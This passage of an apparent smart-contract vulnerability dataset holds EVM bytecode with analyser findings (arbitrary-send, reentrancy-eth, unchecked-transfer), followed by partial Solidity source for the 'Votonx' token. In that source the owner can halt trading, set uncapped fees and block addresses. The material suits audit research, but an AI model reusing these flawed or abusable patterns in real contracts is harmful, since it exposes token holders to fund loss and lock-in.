bde8a8a8a8a8a8a8a6040518863ffffffff1660e01b8152600401611c889796959493929190613dcf565b60408051808303816000875af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cca9190613e3e565b9150915097509795505050505050565b611ce2612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d66906139ec565b60405180910390fd5b600f548111611d7d57600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e4d612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed1906139ec565b60405180910390fd5b8060078190555050565b611eec612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f70906139ec565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fdc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906139ec565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b60008083036120a25760009050612104565b600082846120b09190613ab2565b90508284826120bf9190613ead565b146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690613f50565b60405180910390fd5b809150505b92915050565b600061214c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a49565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223190614074565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123189190613605565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238b90614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa90614198565b60405180910390fd5b60008111612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243d9061422a565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124ea5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090614296565b60405180910390fd5b61253161172e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561259f575061256f61172e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128b957601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561264f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561279757600f548111156126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e690614302565b60405180910390fd5b601260149054906101000a900460ff1661273e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127359061436e565b60405180910390fd5b6010548161274b8461137b565b612755919061438e565b1115612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d90614430565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127ff576127f4612aac565b60088190555061280e565b612807612ac3565b6008819055505b60006128193061137b565b9050601260159054906101000a900460ff161580156128865750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561289e5750601260169054906101000a900460ff165b156128b75760075481106128b6576128b581612ada565b5b5b505b612974838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129605750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61296c5760085461296f565b60005b612c07565b505050565b60008383111582906129c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b8919061355e565b60405180910390fd5b50600083856129d09190614450565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a45573d6000803e3d6000fd5b5050565b60008083118290612a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a87919061355e565b60405180910390fd5b5060008385612a9f9190613ead565b9050809150509392505050565b6000600954600b54612abe919061438e565b905090565b6000600a54600b54612ad5919061438e565b905090565b6001601260156101000a81548160ff0219169083151502179055506000612b1f6064612b11600c548561209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612b368284612e7490919063ffffffff16565b90506000612b4e60028461210a90919063ffffffff16565b90506000612b658285612e7490919063ffffffff16565b90506000479050612b7583612ebe565b6000612b8a8247612e7490919063ffffffff16565b9050612b968184613101565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612bc993929190614484565b60405180910390a1612bda85612ebe565b612be3856129dd565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b6000612c2f6064612c21848661209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612c468285612e7490919063ffffffff16565b9050612c9a84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2f81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e649190613605565b60405180910390a3505050505050565b6000612eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612979565b905092915050565b6000600267ffffffffffffffff811115612edb57612eda613289565b5b604051908082528060200260200182016040528015612f095781602001602082028036833780820191505090505b5090503081600081518110612f2157612f20613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fec9190613d79565b8160018151811061300057612fff613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061306730601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130cb959493929190614579565b600060405180830381600087803b1580156130e557600080fd5b505af11580156130f9573d6000803e3d6000fd5b505050505050565b61312e30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308460008061317a61172e565b426040518863ffffffff1660e01b815260040161319c96959493929190613c44565b60606040518083038185885af11580156131ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131df9190613ca5565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284613210919061438e565b905083811015613255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324c9061461f565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132c182613278565b810181811067ffffffffffffffff821117156132e0576132df613289565b5b80604052505050565b60006132f361325f565b90506132ff82826132b8565b919050565b600067ffffffffffffffff82111561331f5761331e613289565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061336082613335565b9050919050565b61337081613355565b811461337b57600080fd5b50565b60008135905061338d81613367565b92915050565b60006133a66133a184613304565b6132e9565b905080838252602082019050602084028301858111156133c9576133c8613330565b5b835b818110156133f257806133de888261337e565b8452602084019350506020810190506133cb565b5050509392505050565b600082601f83011261341157613410613273565b5b8135613421848260208601613393565b91505092915050565b6000602082840312156134405761343f613269565b5b600082013567ffffffffffffffff81111561345e5761345d61326e565b5b61346a848285016133fc565b91505092915050565b6000819050919050565b61348681613473565b811461349157600080fd5b50565b6000813590506134a38161347d565b92915050565b6000602082840312156134bf576134be613269565b5b60006134cd84828501613494565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135105780820151818401526020810190506134f5565b8381111561351f576000848401525b50505050565b6000613530826134d6565b61353a81856134e1565b935061354a8185602086016134f2565b61355381613278565b840191505092915050565b600060208201905081810360008301526135788184613525565b905092915050565b6000806040838503121561359757613596613269565b5b60006135a58582860161337e565b92505060206135b685828601613494565b9150509250929050565b60008115159050919050565b6135d5816135c0565b82525050565b60006020820190506135f060008301846135cc565b92915050565b6135ff81613473565b82525050565b600060208201905061361a60008301846135f6565b92915050565b60008060006060848603121561363957613638613269565b5b60006136478682870161337e565b93505060206136588682870161337e565b925050604061366986828701613494565b9150509250925092565b600060ff82169050919050565b61368981613673565b82525050565b60006020820190506136a46000830184613680565b92915050565b6000602082840312156136c0576136bf613269565b5b60006136ce8482850161337e565b91505092915050565b600067ffffffffffffffff8211156136f2576136f1613289565b5b602082029050602081019050919050565b6000613716613711846136d7565b6132e9565b9050808382526020820190506020840283018581111561373957613738613330565b5b835b81811015613762578061374e8882613494565b84526020840193505060208101905061373b565b5050509392505050565b600082601f83011261378157613780613273565b5b8135613791848260208601613703565b91505092915050565b600080604083850312156137b1576137b0613269565b5b600083013567ffffffffffffffff8111156137cf576137ce61326e565b5b6137db858286016133fc565b925050602083013567ffffffffffffffff8111156137fc576137fb61326e565b5b6138088582860161376c565b9150509250929050565b61381b81613355565b82525050565b60006020820190506138366000830184613812565b92915050565b600080600080600080600060e0888a03121561385b5761385a613269565b5b60006138698a828b0161337e565b975050602061387a8a828b0161337e565b965050604061388b8a828b01613494565b955050606061389c8a828b01613494565b94505060806138ad8a828b01613494565b93505060a06138be8a828b0161337e565b92505060c06138cf8a828b01613494565b91505092959891949750929550565b60006040820190506138f360008301856135f6565b61390060208301846135f6565b9392505050565b6000806040838503121561391e5761391d613269565b5b600061392c8582860161337e565b925050602061393d8582860161337e565b9150509250929050565b613950816135c0565b811461395b57600080fd5b50565b60008135905061396d81613947565b92915050565b60006020828403121561398957613988613269565b5b60006139978482850161395e565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139d66020836134e1565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a7582613473565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613aa757613aa6613a3b565b5b600182019050919050565b6000613abd82613473565b9150613ac883613473565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0157613b00613a3b565b5b828202905092915050565b600081905092915050565b50565b6000613b27600083613b0c565b9150613b3282613b17565b600082019050919050565b6000613b4882613b1a565b9150819050919050565b600081519050613b618161347d565b92915050565b600060208284031215613b7d57613b7c613269565b5b6000613b8b84828501613b52565b91505092915050565b6000604082019050613ba96000830185613812565b613bb660208301846135f6565b9392505050565b600081519050613bcc81613947565b92915050565b600060208284031215613be857613be7613269565b5b6000613bf684828501613bbd565b91505092915050565b6000819050919050565b6000819050919050565b6000613c2e613c29613c2484613bff565b613c09565b613473565b9050919050565b613c3e81613c13565b82525050565b600060c082019050613c596000830189613812565b613c6660208301886135f6565b613c736040830187613c35565b613c806060830186613c35565b613c8d6080830185613812565b613c9a60a08301846135f6565b979650505050505050565b600080600060608486031215613cbe57613cbd613269565b5b6000613ccc86828701613b52565b9350506020613cdd86828701613b52565b9250506040613cee86828701613b52565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613d2e6017836134e1565b9150613d3982613cf8565b602082019050919050565b60006020820190508181036000830152613d5d81613d21565b9050919050565b600081519050613d7381613367565b92915050565b600060208284031215613d8f57613d8e613269565b5b6000613d9d84828501613d64565b91505092915050565b6000604082019050613dbb6000830185613812565b613dc86020830184613812565b9392505050565b600060e082019050613de4600083018a613812565b613df16020830189613812565b613dfe60408301886135f6565b613e0b60608301876135f6565b613e1860808301866135f6565b613e2560a0830185613812565b613e3260c08301846135f6565b98975050505050505050565b60008060408385031215613e5557613e54613269565b5b6000613e6385828601613b52565b9250506020613e7485828601613b52565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613eb882613473565b9150613ec383613473565b925082613ed357613ed2613e7e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6021836134e1565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6024836134e1565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061405e6022836134e1565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140f06025836134e1565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006141826023836134e1565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006142146029836134e1565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000614280601b836134e1565b915061428b8261424a565b602082019050919050565b600060208201905081810360008301526142af81614273565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b60006142ec601a836134e1565b91506142f7826142b6565b602082019050919050565b6000602082019050818103600083015261431b816142df565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b60006143586013836134e1565b915061436382614322565b602082019050919050565b600060208201905081810360008301526143878161434b565b9050919050565b600061439982613473565b91506143a483613473565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d9576143d8613a3b565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b600061441a601c836134e1565b9150614425826143e4565b602082019050919050565b600060208201905081810360008301526144498161440d565b9050919050565b600061445b82613473565b915061446683613473565b92508282101561447957614478613a3b565b5b828203905092915050565b600060608201905061449960008301866135f6565b6144a660208301856135f6565b6144b360408301846135f6565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6144f081613355565b82525050565b600061450283836144e7565b60208301905092915050565b6000602082019050919050565b6000614526826144bb565b61453081856144c6565b935061453b836144d7565b8060005b8381101561456c57815161455388826144f6565b975061455e8361450e565b92505060018101905061453f565b5085935050505092915050565b600060a08201905061458e60008301886135f6565b61459b6020830187613c35565b81810360408301526145ad818661451b565b90506145bc6060830185613812565b6145c960808301846135f6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614609601b836134e1565b9150614614826145d3565b602082019050919050565b60006020820190508181036000830152614638816145fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f88069113ef50d8e55fe348354e86dcf066d7e1522a767d2b76a5be375e50d264736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,852 |
0x70A9bea75a3Bfe97B631f53c2bdE9D3E2947eE9E | /**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Votonx is Context, IERC20, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBot;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1 * 10**12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 10_000_000 * 10**_decimals;
address public marketingAddress = 0x7c1e26f5940Bc15Ca9b27A7Dea30d7E830c67cAE;
string private constant _name = "Votonx";
string private constant _symbol = "VOTX";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
Taxes public taxes = Taxes(0,0,1);
Taxes public buyTaxes = Taxes(0,8,2);
Taxes public sellTaxes = Taxes(5,0,0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor (address routerAddress) {
IRouter _router = IRouter(routerAddress);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress]=true;
emit Transfer(address(0), owner(), _tTotal);
}
//std ERC20:
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi, Taxes memory temp) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true, temp);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true, temp);
return s.rTransferAmount;
}
}
function setTradingStatus(bool state) external onlyOwner{
tradingEnabled = state;
swapEnabled = state;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
//@dev kept original RFI naming -> "reward" as in reflection
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity) public onlyOwner {
taxes.rfi = _rfi;
taxes.marketing = _marketing;
taxes.liquidity = _liquidity;
emit FeesChanged();
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[marketingAddress])
{
_tOwned[marketingAddress]+=tMarketing;
}
_rOwned[marketingAddress] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee, Taxes memory temp) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee, temp);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee, Taxes memory temp) private pure returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*temp.rfi/100;
s.tMarketing = tAmount*temp.marketing/100;
s.tLiquidity = tAmount*temp.liquidity/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity;
return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!_isBot[from] && !_isBot[to], "You are a bot");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(tradingEnabled, "Trading not active");
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(swapTokensAtAmount);
}
Taxes memory temp;
if(from == pair) temp = buyTaxes;
else if(to == pair) temp = sellTaxes;
else temp = taxes;
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]), temp);
}
//this method is responsible for taking all fee, if takeFee is true
